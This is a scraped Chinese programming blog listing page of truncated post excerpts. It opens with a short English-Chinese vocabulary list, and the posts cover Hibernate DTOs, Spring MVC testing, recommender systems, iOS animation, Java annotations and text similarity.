closet 壁橱;储藏室
pronounce 发音;宣告
repeat 重做;重复
majority 大多数;大半
native 本国的,本地的,本国
hibernate查询返回DTO对象,DTO封装了多个pojo对象的属性
frankco
POJO hibernate查询 DTO
DTO-数据传输对象;pojo-最纯粹的java对象与数据库中的表一一对应。
简单讲:DTO起到业务数据的传递作用,pojo则与持久层数据库打交道。
有时候我们需要查询返回DTO对象,因为DTO
Partition List
hcx2013
partition
Given a linked list and a value x, partition it such that all nodes less than x come before nodes greater than or equal to x.
You should preserve the original relative order of th
Spring MVC测试框架详解——客户端测试
jinnianshilongnian
上一篇《Spring MVC测试框架详解——服务端测试》已经介绍了服务端测试,接下来再看看如果测试Rest客户端,对于客户端测试以前经常使用的方法是启动一个内嵌的jetty/tomcat容器,然后发送真实的请求到相应的控制器;这种方式的缺点就是速度慢;自Spring 3.2开始提供了对RestTemplate的模拟服务器测试方式,也就是说使用RestTemplate测试时无须启动服务器,而是模拟一
关于推荐个人观点
liyonghui160com
推荐系统 关于推荐个人观点
回想起来,我也做推荐了3年多了,最近公司做了调整招聘了很多算法工程师,以为需要多么高大上的算法才能搭建起来的,从实践中走过来,我只想说【不是这样的】
第一次接触推荐系统是在四年前入职的时候,那时候,机器学习和大数据都是没有的概念,什么大数据处理开源软件根本不存在,我们用多台计算机web程序记录用户行为,用.net的w
不间断旋转的动画
pangyulei
动画
CABasicAnimation* rotationAnimation;
rotationAnimation = [CABasicAnimation animationWithKeyPath:@"transform.rotation.z"];
rotationAnimation.toValue = [NSNumber numberWithFloat: M
自定义annotation
sha1064616837
java enum annotation reflect
对象有的属性在页面上可编辑,有的属性在页面只可读,以前都是我们在页面上写死的,时间一久有时候会混乱,此处通过自定义annotation在类属性中定义。越来越发现Java的Annotation真心很强大,可以帮我们省去很多代码,让代码看上去简洁。
下面这个例子 主要用到了
1.自定义annotation:@interface,以及几个配合着自定义注解使用的几个注解
2.简单的反射
3.枚举
Spring 源码
up2pu
spring
1.Spring源代码
https://github.com/SpringSource/spring-framework/branches/3.2.x
注:兼容svn检出
2.运行脚本
import-into-eclipse.bat
注:需要设置JAVA_HOME为jdk 1.7
build.gradle
compileJava {
sourceCompatibilit
利用word分词来计算文本相似度
yangshangchuan
word word分词 文本相似度 余弦相似度 简单共有词
word分词提供了多种文本相似度计算方式:
方式一:余弦相似度,通过计算两个向量的夹角余弦值来评估他们的相似度
实现类:org.apdplat.word.analysis.CosineTextSimilarity
用法如下:
String text1 = "我爱购物";
String text2 = "我爱读书";
String text3 =